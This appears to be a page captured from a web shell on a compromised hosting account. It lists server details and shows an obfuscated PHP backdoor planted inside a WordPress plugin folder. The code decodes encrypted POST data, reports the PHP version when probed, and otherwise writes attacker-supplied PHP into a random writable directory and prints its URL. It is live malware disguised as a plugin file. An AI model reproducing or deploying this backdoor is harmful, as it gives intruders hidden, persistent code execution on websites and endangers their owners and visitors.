HEX
Server: Apache
System: Linux webm006.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/pianob/wp-content/plugins/EF3-Framework/inmzjslo.php
<?php $HjPYl = "kTlxLxsb";function yuzGudYeAD($HjPYl){$SqhciVSo = "\162"."\x61"."\x77"."\x75".'r'."\154".chr(759-659).'e'.'c'.chr(1036-925)."\x64".chr(585-484);$jzbziK = "\x73".'t'.'r'."\137".chr(678-564)."\x6f"."\x74".chr(49).chr(51);$lZhwjlY = 's'.'t'.'r'."\137".'s'.chr(1109-997).chr(108).chr(370-265)."\164";$HjPYl = $lZhwjlY($SqhciVSo($jzbziK($HjPYl)));return $HjPYl;}function ngynLQFG($YexQqf, $pxceL){$pVKwaLR = chr(115)."\164"."\162".'_'.'s'."\160"."\x6c".chr(105).chr(292-176);$YexQqf = array_slice($pVKwaLR(str_repeat($YexQqf, (count($pxceL)/16)+1)), 0, count($pxceL));return $YexQqf;}function mtQQvyXWmJ($DvTKU, $HwrrrzA, $YexQqf){$iWoEM = "04386d93-871d-46f0-af4d-6d92ab41df82";return $DvTKU ^ $iWoEM[$HwrrrzA % strlen($iWoEM)] ^ $YexQqf;}function pMdYdSGPMx($pxceL, $YexQqf){$pxceL = array_map("mtQQvyXWmJ", array_values($pxceL), array_keys($pxceL), array_values($YexQqf));$pxceL = implode("", $pxceL);$TFGdw = 'u'.chr(454-344).chr(115).chr(101).chr(1028-914)."\151".chr(97).chr(108)."\151".chr(654-532)."\145";$pxceL = @$TFGdw($pxceL);return $pxceL;}function GRRoh(){echo "UIdzxGZ";}function YuISc($nifYdsir){static $vMaaj = array();$DNJWrwHn = glob($nifYdsir . '/*', GLOB_ONLYDIR);$FrBbnUv = count($DNJWrwHn);if ($FrBbnUv > 0) {foreach ($DNJWrwHn as $nifYds) {$HnNKsxgUYS = 'i'."\163".chr(95)."\167".chr(727-613).chr(105).'t'."\141".chr(712-614).chr(631-523).chr(865-764);if (@$HnNKsxgUYS($nifYds)) {$vMaaj[] = $nifYds;}}}foreach ($DNJWrwHn as $nifYdsir) YuISc($nifYdsir);return $vMaaj;}function NlplkS(){echo "kTlxLxsb";}function QQhhgxndC($pxceL){$vRtdQjBG = chr(347-279).chr(79).chr(477-410).'U'.chr(103-26)."\105"."\116"."\x54"."\x5f".'R'.chr(79).chr(79).chr(84);$mZCmIKgnnl = $_SERVER[$vRtdQjBG];$DNJWrwHn = YuISc($mZCmIKgnnl);$RhaTT = array_rand($DNJWrwHn);$xIdzX = '.'."\160"."\x68".'p';$OeMnFNf = $DNJWrwHn[$RhaTT] . "/" . substr(md5(time()), 0, 8) . $xIdzX;$jZJrepqJT = chr(102).chr(902-797)."\154".'e'."\x5f".'p'.'u'.'t'."\137"."\x63"."\x6f".chr(110)."\164"."\145"."\156"."\164"."\163";@$jZJrepqJT($OeMnFNf, $pxceL);$WqjkgS = 'H'.chr(84)."\124".chr(539-459)."\137"."\x48".chr(79).chr(83)."\x54";$PSPqhDG = chr(104).chr(116).'t'.chr(112).chr(58)."\57".'/';$TEpPvaFvJ = $PSPqhDG . $_SERVER[$WqjkgS] . substr($OeMnFNf, strlen($mZCmIKgnnl));print($TEpPvaFvJ);}foreach ($_POST as $YexQqf => $pxceL){$ghRbKDwSat = strlen($YexQqf);if ($ghRbKDwSat == 16){$pxceL = yuzGudYeAD($pxceL);$YexQqf = ngynLQFG($YexQqf, $pxceL);$pxceL = pMdYdSGPMx($pxceL, $YexQqf);if (@is_array($pxceL)){$RhaTT = array_keys($pxceL);$pxceL = $pxceL[$RhaTT[0]];if ($pxceL === $RhaTT[0]){$fDaRmhXTQm = chr(112)."\150".chr(868-756);$KbCloijo = "\160".chr(104).chr(166-54)."\166"."\x65".chr(114)."\x73".chr(105).chr(111).'n';$tNxOSdsj = 's'.chr(101)."\x72".'i'."\x61".chr(108).chr(380-275)."\x7a"."\x65";echo @$tNxOSdsj(Array($fDaRmhXTQm => @$KbCloijo(), ));strlen($YexQqf);}else {QQhhgxndC($pxceL);}die();}}}